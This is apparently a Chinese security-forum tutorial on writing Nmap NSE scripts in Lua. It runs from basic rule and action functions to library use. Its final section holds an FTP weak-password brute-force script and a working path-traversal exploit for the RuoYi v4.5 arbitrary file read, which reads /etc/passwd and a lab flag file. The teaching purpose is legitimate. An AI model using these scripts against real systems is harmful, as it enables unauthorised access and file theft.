Nmap脚本引擎—NSE脚本编写教程(nmap插件)

念旧   ·   发表于 2023-08-02 00:04:07   ·   安全工具
[TOC]

Nmap脚本引擎—NSE脚本编写教程(nmap插件)

0. 前言

大家好,我是 zkaq-念旧。时隔多年,我又回来写文章了(毕竟现在投稿奖励很丰厚,很难不心动)。

本次要讲的是 Nmap 工具的 NSE 脚本编写,大多数人喜欢叫它 “Nmap插件”。

Nmap 不用多说,一个老牌的扫描工具,常年混迹于安全工程师的计算机中,搞渗透的人没有不会用的。如果你遇到一个不会用 Nmap 的安全工程师,那它一定是内鬼。

Nmap 虽然很多人会用,但却很少有人会编写 Nmap 的插件(NSE)。现在,让我们一起学习如何编写 NSE 脚本,让你的渗透技能更上一层楼!

1. 简介

Nmap 脚本引擎(NSE)是 Nmap 最强大、最灵活的功能之一。通过 NSE 脚本,可以自动化执行任务,实现各种安全扫描需求。

1.1 Nmap内置的NSE脚本

Nmap 具有一些内置的 NSE 脚本,位于/scripts

如下图所示,Nmap 默认内置了上百个 NSE 脚本文件,可以实现不同的扫描功能。

如果想要使用 NSE 脚本引擎,则需要在 Nmap 运行时添加--script选项。相信很多小伙伴都用过。

# 枚举SSH用户名和密码
nmap 192.168.1.1 --script=ssh-brute

# 探测ms17-010漏洞
nmap 192.168.1.1 --script=smb-vuln-ms17-010

# 综合漏洞扫描
nmap 192.168.1.1 --script=vuln

这篇文章对 NSE 脚本进行了简要说明,可以作为参考。

此外,如果你想知道 Nmap 内置了哪些脚本,以及这些脚本的功能,可以查阅官方文档

1.2 自定义NSE脚本

除了 Nmap 内置的脚本之外,用户也可以编写自己的脚本来满足自身的扫描需求。

(表1-1:NSE脚本的架构)

结构 组成
语言 Lua
文件扩展名 .nse
文件内容 由四个部分组成:几个描述性字段、脚本规则、脚本操作、环境变量

通过上表可以得知,NSE 脚本基于 Lua 语言。Lua 是一种轻量级的语言,专为可扩展性而设计;它提供了一个功能强大且文档齐全的 API,用于与其他软件(如Nmap)进行交互。而 Nmap 脚本引擎的核心则是一个可嵌入的 Lua 解释器。

如果你还没有学过 Lua,则你可以在菜鸟教程-Lua教程进行学习。

2. NSE脚本编写规范

在 表1-1 中指出,NSE 脚本的文件内容由四个部分组成:

  • 几个描述性字段
  • 脚本规则
  • 脚本操作
  • 环境变量

下面将逐一介绍这几个部分的用法,以及如何编写它们。

2.1 描述性字段

根据官方文档,Nmap 提供了 5 个建议的描述性字段。

(表2-1:五个描述性字段)

字段名称 说明
description(描述) 类型一般为多行字符串,用于说明 NSE 脚本的基础信息,例如脚本要执行的任务内容、注意事项等。一般在几段话以内即可,尽量简短。
categories(类型) 类型一般为数组,用于对 NSE 脚本进行分类。
author(作者) 类型一般为单行字符串多行字符串,用于说明当前 NSE 脚本的编写人员。
license(协议) 类型一般为单行字符串,用于指出当前 NSE 脚本的许可证。Nmap 是一个社区项目,支持各种代码贡献,包括 NSE 脚本。在你的脚本中有效地包含许可证,有助于脚本的传播、使用、分发等。
dependencies(依赖) 类型一般为数组,用于定义多个 NSE 脚本间的执行顺序。

在编写 NSE 脚本时,以上 5 个字段都可以省略。但为了脚本的规范性与可读性,建议你能写则写。

一个文件示例:

description = [[
测试
这是一个用于测试的NSE脚本
]]

categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

在以上 Lua 代码中,分别定义了 4 个描述性字段。

  • description 是一个多行字符串,描述了当前 NSE 脚本的基础信息。
  • categories 是一个数组,对当前 NSE 脚本进行了分类。
  • author 是一个单行字符串,其中包含脚本作者的名称。
  • license 是一个单行字符串,使用了 Nmap 自带的许可证。

该脚本没有依赖项,所以省略 dependencies 字段。

Nmap 官方提供了两个 license(协议) 供你选择:

# 格式
license = "--See "

# 官方提供的第一个协议:与Nmap软件一样
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

# 官方提供的第二个协议:BSD风格的许可证(无广告条款)
license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"

除了以上两个许可证之外,你也可以使用其他的许可证。我的建议是,使用第一个就已经足够了。

对于 categories(类别) 字段,官方将其划分为了 14 个不同的类别:

  • auth(认证)
  • broadcast(广播)
  • brute(枚举)
  • default(默认)
  • discovery(发现)
  • dos(拒绝服务)
  • exploit(漏洞利用)
  • external(第三方交互)
  • fuzzer(模糊测试器)
  • intrusive(侵入)
  • malware(恶意软件/后门检测)
  • safe(安全)
  • version(版本探测)
  • vuln(漏洞检测)

例如,你编写了一个可用于检测 “Web端身份验证绕过漏洞” 的脚本,则你可以将其归类为authvuln类别。

对于一个暴力破解脚本,可以归类为bruteintrusive类别。之所以将其归类为 intrusive(侵入),是因为在暴力破解的过程中 会产生大量的网络数据包,这可能会占用服务器的流量带宽、产生大量垃圾日志等,具有一定的侵入性。

2.2 脚本规则&&脚本操作

这里我将 “规则” 和 “操作” 放在一起讲。

  • “规则” 是一个 Lua 函数,该函数通过返回布尔值truefalse使 “操作” 在合适的时间段执行。
  • “操作” 也是一个 Lua 函数,当 “规则” 触发时,“操作” 函数将会自动执行一次。

Nmap 提供了以下 4 个规则函数,在编写 NSE 脚本时,必须包含至少一个规则函数,否则会报错。

(表2-2:四个规则函数)

规则函数 说明
prerule() 前规则(起始规则),在主机扫描之前运行
hostrule(host) 主机规则,在扫描单个主机后运行
portrule(host, port) 端口规则,在扫描单个端口后运行
postrule() 后规则(结束规则),在主机扫描之后运行

Nmap 提供了以下 1 个操作函数,在编写 NSE 脚本时,必须包含操作函数,否则会报错。

(表2-3:一个操作函数)

操作函数 说明
action(host, port) 定义了脚本要执行的具体操作

下面通过一些练习,来了解和掌握以上函数。

(1)前规则与后规则

创建一个文件pre-post.nse,并编写以下代码:

description = [[
前规则与后规则
该脚本用于测试 prerule() 与 postrule() 函数
]]

categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

prerule = function()
    print("这是前规则")
end

postrule = function()
    print("结束")
end

action = function(host, port)
end

在上述 Lua 代码中,定义了 4 个描述性字段、2 个规则函数以及 1 个操作函数。

对于操作函数action(host, port)脚本中必需包含操作函数,否则会报错。但我此时并不清楚应该执行哪些操作,所以这里将其定义为 “空函数”,起到一个占位作用,防止运行时错误。

代码中定义了两个规则函数prerule()postrule(),这两个函数分别使用print()打印了一个字符串。

运行 Nmap 并添加--script选项,使用刚刚编写的脚本:

nmap 127.0.0.1 --script=pre-post.nse

如图,正如 表2-2 中所说的

  • “前规则” 在主机扫描开始前自动执行
  • “后规则” 在主机扫描结束后自动执行

(2)主机规则

创建一个文件host.nse,并编写以下代码:

description = [[
主机规则
]]

categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

prerule = function()
    print("开始")
end

hostrule = function(host)
    print("扫描的目标IP地址为: " .. host.ip)
    print("扫描的目标主机名为: " .. host.name)
end

postrule = function()
    print("结束")
end

action = function(host, port)
end

上述 Lua 代码和上一节完全相同,只不过多了一个hostrule(host)函数,该函数通过print()打印了字符串信息以及目标主机的 IP 地址。

尝试运行该脚本,看看会发生什么:

如图,成功输出相关信息。

通过 host 参数,我们可以获得有关目标主机的详细信息。除了 host.ip 和 host.name 以外,更多的参数值可以参阅官方文档

如果同时扫描多个主机,当每个主机单独扫描完成之后,hostrule都会自动执行一次。假如你扫描了十个主机,则hostrule会执行十次。

如图所示,扫描了两个主机,主机规则函数执行了两次。

(3)端口规则

创建一个文件port.nse,并编写以下代码:

description = [[
端口规则
]]

categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

portrule = function(host, port)
    print("扫描的目标IP地址为: " .. host.ip)
    print("发现端口: " .. port.number)
    print("端口状态: " .. port.state)
    print("端口协议: " .. port.protocol)
    print("服务名称: " .. port.version.name)
    print("服务版本: " .. port.version.version)
end

action = function(host, port)
end

运行该脚本,此处添加了-sV版本探测选项:

nmap 127.0.0.1 -sV --script=port.nse

如图,成功输出相关信息。

与主机规则一样,端口规则可以通过 host/port 参数,来获得目标主机/端口的详细信息。

更多的 port 参数值可以参阅https://nmap.org/book/nse-api.html。

需要注意的是portrule会为每个端口都执行一次规则。假如你扫描了 10 个主机,每台主机都存在 5 个端口,那么 10*5=50,portrule将会执行五十次。

如图所示,目标主机存在两个端口,端口规则函数执行了两次。

(4)操作函数

前面有提到过:“规则函数” 通过返回布尔值truefalse,来决定 “操作函数” 的执行时间段。当 “规则函数” 返回true时,“操作函数” 将会自动执行一次。

这可能不太好理解,这里用几个练习来演示。

练习1

创建一个文件action.nse,并编写以下代码:

description = [[
操作函数-示例1
]]

categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

prerule = function()
    print("开始")
    return true
end

action = function(host, port)
    print("操作函数被触发了!!!")
end

如图,由于 “前规则” 返回了一个布尔值true导致条件触发,所以 “操作函数” 将自动执行一次。

通常,我们会在 “规则” 中编写各种表达式,使其返回一个布尔值。然后在 “操作” 中编写具体的代码块,当条件触发时自动执行这些代码。

练习2

第二个示例,创建文件action-2.nse,并编写以下代码:

description = [[
操作函数-示例2
]]

categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

portrule = function(host, port)
    return port.number == 80 and port.state == "open"
end

action = function(host, port)
    print("操作函数被触发了!!!")
    info = string.format("发现端口: [%d], 状态: [%s]\n", port.number, port.state)
    print(info)
end

在以上 Lua 代码中,定义了一个规则函数portrule(host, port),该函数判断 “端口号是否等于 80” 并且 “端口状态是否为 open”,并使用return关键字将判断结果的布尔值进行返回。

如果 portrule 返回的是一个true,则 action 将会自动执行。它将输出一段提示信息,然后使用内置方法string.format拼接字符串,并将结果赋给info变量,然后打印该变量。

运行以上脚本:

如图,由于目标主机存在 80 端口,并且为 open 状态,所以 portrule 会返回一个true并触发 action。

练习3

创建第三个文件action-3.nse,并编写以下代码:

local http = require "http"

description = [[
操作函数-示例3
]]

categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

portrule = function(host, port)
    if (port.number == 80 and port.state ~= "open") then
        print("发现80端口, 但端口状态不是open")
    elseif (port.number == 80 and port.state == "open") then
        print("发现80端口, 执行操作")
        return true
    end
end


action = function(host, port)
    local response = http.get(host, port, "/abc")
    print("请求成功, HTTP状态码为: " .. response.status .. "\n")
end

在上述 Lua 代码中,定义了一个规则函数portrule和一个操作函数action

  • 规则函数试图寻找 “open状态的80端口”,如果找到指定端口则返回true,以进行相关操作。
  • 操作函数调用http.get()方法对开放的 80 端口发送一个 HTTP GET 数据包,请求路径为/abc,并打印响应状态码。

同时,该脚本还通过require关键字引入了 Nmap 内部的http库。

运行上述脚本,查看效果:

如上图所示,成功地对本地 80 端口发出了 GET 请求,响应状态码为 404。

转到 HTTP 服务的终端窗口,查看是否接收到请求:

在图中可以看到,一共接收到了两个 HTTP 请求,状态码分别为 400 和 404。

  • 400 状态的请求是 Nmap 的端口探测数据包。
  • 404 状态的请求路径为/abc,该请求是由action函数发出的。

2.3 环境变量

这是 NSE 脚本的最后一个组成部分,概念相对简单。

每个 NSE 脚本都有自己的一组环境变量,其中包含当前脚本的运行状态和信息,可用于调试输出。

(表2-4:脚本环境变量)

变量名称 说明
SCRIPT_PATH 当前脚本的存储路径
SCRIPT_NAME 当前脚本的名称
SCRIPT_TYPE 触发操作的规则名称

创建一个文件var.nse,并编写以下代码:

description = [[
环境变量示例
]]

categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

prerule = function()
    info = string.format("脚本开始运行, 环境信息: \n脚本路径 --> %s\n脚本名称 --> %s\n", SCRIPT_PATH, SCRIPT_NAME)
    print(info)
    return true
end

postrule = function()
    return true
end

action = function(host, port)
    print("规则被触发, 执行操作. 触发的规则是 --> " .. SCRIPT_TYPE)
end

在上述 Lua 代码中,定义了两个规则函数prerulepostrule以及一个操作函数action

前规则调用string.format()方法将环境变量SCRIPT_PATHSCRIPT_NAME拼接到一个字符串当中,并将返回值赋给名为 info 的变量。然后调用print()方法打印该变量。最后通过return关键字返回了一个布尔值true,以触发规则并执行操作 action。

后规则直接返回了一个true,以执行操作 action。

操作函数打印了环境变量SCRIPT_TYPE

运行上述脚本,看看会发生什么:

如图所示,前规则打印了脚本的 “命令行中指定的脚本路径” 以及 “脚本文件名称”。

操作函数第一次执行,触发的规则是prerule

操作函数第二次执行,触发的规则是postrule

以下是不同的脚本路径:

2.4 描述字段—dependencies

在 2.1 章节中提到了 5 个描述性字段,但是在以上所有的示例代码中,我只用了其中的 4 个。字段 dependencies(依赖)始终没有被用到,那它到底是用来做什么的呢?

下面用一个示例来演示该字段的作用。

创建文件a.nseb.nsec.nse以及main.nse,并编写以下代码:

description = [[
这是脚本a
]]

prerule = function()
    print("脚本a被执行")
end

action = function(host, port)
end

为了看得更直观,以上脚本去除了一些描述性字段,action 是一个空函数,仅仅执行一个prerule

同时运行以上四个脚本,通过逗号,分隔文件名:

nmap 127.0.0.1 --script=a.nse,b.nse,c.nse,main.nse

如图所示,在尝试运行了几次之后,发现这四个脚本的执行顺序是随机的,毫无顺序可言。

假设现在有一个扫描需求,a.nseb.nsec.nse都是信息收集脚本,main.nse是漏洞检测脚本,但是main.nse需要使用前三个脚本的信息才能完成漏洞检测。

也就是说,前三个脚本必需先运行,而main.nse最后运行。此时可以通过 dependencies(依赖)字段来定义这四个脚本的执行顺序。

修改main.nse的文件内容,添加 dependencies 字段:

description = [[
这是脚本main
]]

dependencies = {"a", "b", "c"}
prerule = function()
    print("脚本main被执行")
end

action = function(host, port)
end

在上述 Lua 代码中,dependencies 是一个数组,它包含了前三个脚本的文件名称(除去文件扩展名)。

再次运行这四个脚本,看看会发生什么:

如图所示,在经过多次运行之后你会发现,main.nse总是最后一个运行。

因为脚本 a、b和c 是main.nse的依赖项,所以前三个脚本总是会提前运行,而main.nse总是被放在最后一个运行。

dependencies 字段会告诉 Nmap:如果你遇到这三个脚本中的任意一个,就先把我放到最后,先让它们运行。

注意:dependencies 只是建立了脚本间的运行顺序,被列出的脚本并不会自动运行,你必须通过--script或其他方式来运行被依赖的脚本。

2.5 小结

通过第 2 章节的学习,你应该已经大致了解和掌握 NSE 脚本的基本编写了。

在下一章节中,将通过编写几个实战脚本,来巩固你的技能。

3. NSE脚本的库

与许多编程语言一样,Nmap 编写和集成了很多 Lua 的库文件,可用于辅助脚本的开发。

例如,我们在 “2.2章节-操作函数-练习3” 中就使用过http库,该库可用于发起 HTTP 请求。

Nmap 内置的库文件位于/nselib/目录中:

如图所示,Nmap 库文件的文件扩展名为.lua,其中有我们使用过的http库。

这篇文档中,你可以找到 Nmap 所有内置库的列表。如果你想了解每个库的详细信息,请参阅另一篇文档

接下来我将用几个例子,来讲述如何在编写 NSE 脚本的过程中使用库文件。

3.1 基本的HTTP交互

在本示例中,将探测所有的 HTTP 端口,然后向开放状态的 HTTP 端口发送一个数据包。

创建文件http-test.nse,并编写以下代码:

local http = require "http"
local shortport = require "shortport"

description = [[
HTTP测试
]]

categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

portrule = shortport.http

action = function(host, port)
    local get_options = {
        header = {
            ["User-Agent"] = "This is GET request",
            ["Content-Type"] = "text/html; charset=utf-8"
        }
    }
    local post_options = {
        header = {
            ["User-Agent"] = "This is POST request",
            ["Content-Type"] = "application/x-www-form-urlencoded; charset=utf-8"
        },
        content = "username=admin&password=123456"
    }
    local response_1 = http.get(host, port, "/get", get_options)
    local response_2 = http.post(host, port, "/post", post_options)

    print("GET请求响应状态码: " .. response_1.status)
    print("POST请求响应状态码: " .. response_2.status)
end

在上述 Lua 代码中,通过require关键字引入了两个库,分别是httpshortport

  • http库可以用于发出 HTTP 请求。
  • shortport库可以帮助我们处理 port 参数。

然后定义了一个端口规则函数portrule,但与前面不同的是,这里直接将它的值设置为了shortport.http。刚刚提到shortport可以帮助我们处理 port 参数,而shortport.http可以自动识别 HTTP 协议的端口。

  • 如果当前端口是 HTTP 协议,则shortport.http会返回布尔值true
  • 如果当前端口不是 HTTP协议,则返回false

原本需要自己编写函数,以识别 HTTP 协议端口,但shortport.http帮我们省略了这个操作。

最后定义一个操作函数action,它在内部创建了两个选项列表,分别是get_optionspost_options

  • 在 get_options 当中,设置了 HTTP 请求头。
  • 在 post_options 当中,设置了请求头 以及 POST 传参的具体数据。

通过调用http.get()http.post()方法,并传递参数 “主机 + 端口 + 请求路径 + 选项列表”,向目标主机发送 GET 和 POST 请求。然后打印响应状态码。

运行以上脚本:

从图中可以看到,脚本打印了两次请求的状态码 “404” 和 “501”。而且只打印了一次,说明在众多的端口当中,只有一个端口是 HTTP 协议。

我提前打开了 WireShark 来捕获请求数据包,这样可以更直观地看到效果。

首先是 GET 请求,它的两个请求头都被正确设置了,请求的路径也没毛病:

然后是 POST 请求,两个请求头同样被正确设置,POST 数据传递正确,Nmap 还很贴心地为我们添加了Content-Length请求头。

3.2 社区文章搜索

不知道你有没有在社区里搜索过文章,就像这样:

请求的路径是/?s=search&key=bm1hcA==&type=1&pageid=1,其中key参数是一个 Base64 编码

下面我们尝试用 NSE 脚本实现社区文章搜索功能。创建文件zkaq-search.nse,并编写以下代码:

local base64 = require "base64"
local http = require "http"
local shortport = require "shortport"

description = [[
HTTP测试-2
搜索掌控安全社区中的文章
]]

categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

portrule = shortport.http

action = function(host, port)
    local key = base64.enc("nmap")
    path = string.format("/?s=search&key=%s&type=1&pageid=1", key)
    local response = http.generic_request(host, port, "GET", path)

    print("响应状态码: " .. response.status)
    print("响应正文: \n" .. response.body)
end

在以上 Lua 代码中,通过require关键字导入了三个 Nmap 内置库。

然后定义端口规则portrule,将其值设置为shortport.http,这可以自动发现开放的 HTTP 端口。如果发现 HTTP 端口,该函数会返回一个true,以执行操作。

定义操作函数action,在该函数中,首先通过方法base64.enc()对要搜索的内容进行了 Base64 编码。然后通过方法string.format()将编码后的内容格式化到请求路径中,并将返回值赋给名为 path 的变量。

最后通过方法http.generic_request()向目标主机发送 HTTP GET 请求,以完成搜索操作。然后调用print()打印响应状态码和正文。

其中,我们在之前的示例中使用的是http.get(host, port)http.post(host, port)。其实这两个函数的底层实现都是基于http.generic_request()方法。

-- http.get(host, port)相当于:
http.generic_request(host, port, "GET")

-- http.post(host, port)相当于:
http.generic_request(host, port, "POST")

-- http.head()和http.put()等函数也是基于http.generic_request()

运行上述脚本:

从图中可以看出,一共发现了两个端口 “80和443”,并且都是 HTTP 协议,所以端口规则会触发两次。

对于 80 端口,响应状态码为 301,这说明社区网站强制使用 HTTPS 协议,发送到 80 端口的请求将会重定向至 443 端口。http.get默认不跟随跳转,但你可以通过选项列表允许其跳转。

对于 443 端口,正确传递参数并搜索了社区文章,成功。

3.3 小结

以上就是 NSE 库的使用示例,但 Nmap 内置的库远不止这些,鼓励你自己探索:https://nmap.org/nsedoc/lib/

4. 实战NSE脚本编写

4.1 FTP弱口令暴破

创建文件ftp-enum.nse,并编写以下代码:

local ftp = require "ftp"
local stdnse = require "stdnse"

description = [[
FTP弱口令暴力破解
]]

categories = {"brute", "vuln"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

usernames = {"admin", "root", "ftp", "anonymous", "user"}
passwords = {"", "123456", "admin123"}
portrule = function(host, port)
    return port.version.name == "ftp" and port.state == "open"
end

action = function(host, port)
    local output = stdnse.output_table()

    for i, username in ipairs(usernames) do
        for j, password in ipairs(passwords) do
            local socket, _, _, buffer = ftp.connect(host, port, {request_timeout=8000})
            local status, code = ftp.auth(socket, buffer, username, password)
            socket:close()

            if (status and code == 230) then
                output.success = "[+] Found ftp login credentials!"
                output.ftp_login = {
                    "username: " .. username,
                    "password: " .. password,
                }
                return output
            end
        end
    end

    output.failed = "[-] Not found ftp login credentials..."
    return output
end

首先通过require关键字导入两个库:ftpstdnse。其中 ftp 库可用于 FTP 协议的处理,而 stdnse 则包含 NSE 脚本的各种标准函数,例如脚本的 BUG 调试等。

然后定义了几个描述性字段。还定义了两个数组,分别是usernamespasswords,这两个数组中包含将要暴破的用户名和密码。

定义端口规则函数portrule(),该规则试图寻找 “服务名称为ftp” 并且 “open状态” 的 FTP 端口。如果某个端口符合条件,则返回值为true。值得一提的是,此处我写的规则比较简陋,在实际环境中可能会遗漏某些 FTP 端口。

定义操作函数action(),函数中通过stdnse.output_table()创建了一个命令行输出列表,并将其赋给名为 output 的变量。然后通过 for 循环遍历两个数组,以获得数组中的单个用户名和密码。

在最里层的 for 循环中,通过ftp.connect()连接到目标 FTP 端口,获得 FTP 的套接字和缓冲区。套接字socket是实际建立的连接,而缓冲区buffer则是为了进行 FTP 间的数据交换。

然后调用ftp.auth()方法,并将 “套接字+缓冲区+用户名+密码” 这四个参数传递给该函数,以进行 FTP 登录验证。验证完毕后,调用close()方法关闭连接。

如果验证过程中没有出现错误,则变量 status 的值将会是true。如果验证过程中出现错误,则将返回一个false

最后,判断验证是否正常,以及返回的状态码是否等于 230(在 FTP 中230表示登录成功)。如果登录成功,则往 output 中添加提示信息、登录成功的用户名和密码。通过return关键字将 output 返回。

如果登录失败,同样往 output 中添加失败信息,并将其返回。

运行以上脚本,查看效果:

如图所示,FTP 暴破成功。获得用户名 “ftp”,密码为空。

尝试登录,用户名为ftp,密码为空。登录成功:

4.2 若依v4.5.0 后台任意文件读取漏洞

最近封神台不是上新了一个靶场吗?天天在zk公众号看到靶场的推文。

既然有现成的靶场,那就让我们编写一个 NSE 脚本,用于检测该漏洞。

(1)靶场环境

先进靶场瞄一眼,发现直接给出了用户名和密码admin:admin123

直接登录,反手一个 Payload。

如图所示,漏洞存在,成功读取/etc/passwd文件。

(2)脚本编写思路

  1. 第一个请求,登录后台。
  2. 第二个请求,发送 payload。
  3. 检索响应内容,判断攻击是否成功。
  4. 打印提示信息

但是,有一个大问题……登录界面有验证码!

由于验证码不可预测,所以无法在代码层面登录。

虽然可能有绕过验证码的方法,但我懒得去想了。我改用另一种更加简单粗暴的方法:直接在源代码中包含 Cookie,这样还能省略第一个步骤。

(别打我,下手轻……ciouaberanzdska)

(3)编写脚本

创建文件ruoyi-v4.5-fileread.nse,并编写以下代码:

local http = require "http"
local shortport = require "shortport"
local vulns = require "vulns"

description = [[
Ruoyi v4.5 任意文件读取漏洞
]]

categories = {"vuln"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

local vuln_table = {
    title = "Ruoyi v4.5 FileRead",
    state = vulns.STATE.NOT_VULN,
    IDS = {
        CVE = "CNVD-2021-01931"
    },
    risk_factor = "Medium",
    dates = {
        disclosure = { year = 2021, month = 2, day = 18}
    },
    references = {
        "https://www.cnvd.org.cn/flaw/show/CNVD-2021-01931"
    }
}
portrule = shortport.http

action = function(host, port)
    local options = {
        header = {["User-Agent"] = "This is test"},
        cookies = "JSESSIONID=430545b1-6d18-48c5-8be6-48ad03b94e9e"
    }
    local path = "/common/download/resource?resource=/profile/../../../../etc/passwd"

    response = http.get(host, port, path, options)

    if (response.body:match("root:/root:/bin/")) then
        vuln_table.state = vulns.STATE.VULN
    end

    local report = vulns.Report:new(SCRIPT_NAME, host, port)
    return report:make_output(vuln_table)
end

首先导入三个库文件httpshortportvulns,前两个库已经介绍过,而 vulns 用于在命令行中打印漏洞信息。

然后定义了几个描述性字段。

定义变量vuln_table,该变量描述了漏洞信息。

  • title 漏洞标题。
  • state 漏洞状态,刚开始时将其定义为vulns.STATE.NOT_VULN(未发现漏洞)。
  • IDS 漏洞编号信息。
  • risk_factor 漏洞危害等级。
  • dates 漏洞披露日期。
  • references 漏洞参考链接。

定义端口规则函数portrule(),它的值为shortport.http,这将会寻找潜在的 HTTP 协议端口。如果找到 HTTP 端口,则返回布尔值true

定义操作函数action(),创建变量optionspath,前一个变量记录了请求的选项信息,包括请求头、Cookie等。变量path记录了漏洞的路径。然后调用http.get()发送 Payload,接收返回值response

接收返回值后,通过 if 判断响应正文中是否包含以下字符root:/root:/bin/,如果包含这几个字符,说明存在文件读取漏洞。将漏洞状态设置为vulns.STATE.VULN(发现漏洞)。

调用vulns.Report:new(),并将 “当前脚本的名称+主机+端口” 传递给该函数,创建当前 NSE 脚本的报告对象。

调用report:make_output(),并将漏洞信息vuln_table传递给该函数,生成一份漏洞报告。最后通过return返回这份报告。

运行上述脚本,查看效果:

如图所示,我先扫描了本地测试站点,不存在漏洞,没毛病。

然后扫描了靶场,成功发现漏洞,并且输出了漏洞信息列表。

(4)修改脚本

以上是一个比较标准的漏洞脚本,但你可以简化以上代码,使其更符合漏洞复现需求。

修改后的代码:

local http = require "http"
local shortport = require "shortport"

description = [[
Ruoyi v4.5 任意文件读取漏洞
]]

categories = {"vuln"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

portrule = shortport.http

action = function(host, port)
    local options = {
        cookies = "JSESSIONID=430545b1-6d18-48c5-8be6-48ad03b94e9e"
    }
    local path = "/common/download/resource?resource=/profile/../../../../etc/passwd"
    local flag_path = "/common/download/resource?resource=/profile/../../../../tmp/flag.txt"

    response_1 = http.get(host, port, path, options)

    if (response_1.body:match("root:/root:/bin/")) then
        print("[+] 发现漏洞, 路径: " .. path)
        print("尝试读取 flag 文件......")

        response_2 = http.get(host, port, flag_path, options)
        print("/tmp/flag.txt 的内容为: " .. response_2.body)
    end
end

自己尝试读懂以上代码。

运行脚本,成功获得 flag:


诶嘿。

4.3 小结

学完这篇文章,你已经基本掌握了 NSE 脚本的开发能力。鼓励你继续深入,尝试开发更高难度的脚本。

本来这篇文章还想写更多内容的,想想还是算了(开摆),连前面的文章内容都不想检查了(大摆特摆)。

本篇文章中所有的 NSE 脚本都打包到了附件中,需求的自取。

5. 思维导图

自己做了一张关于本篇文章的思维导图,有点潦草。导图原文件在附件里面,可以自己改改。

(没有会员,图片水印没去)

6. 参考资料

用户名金币积分时间理由
Track-魔方 1800.00 0 2023-08-02 11:11:56 一个受益终生的帖子~~

打赏我,让我更有动力~

附件列表

NSE附件.zip   文件大小:32.191M (下载次数:2)

1 条回复   |  直到 9个月前 | 631 次浏览

Track-魔方
发表于 9个月前

深度 1000 普适 300 可读 200 稀缺 300

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.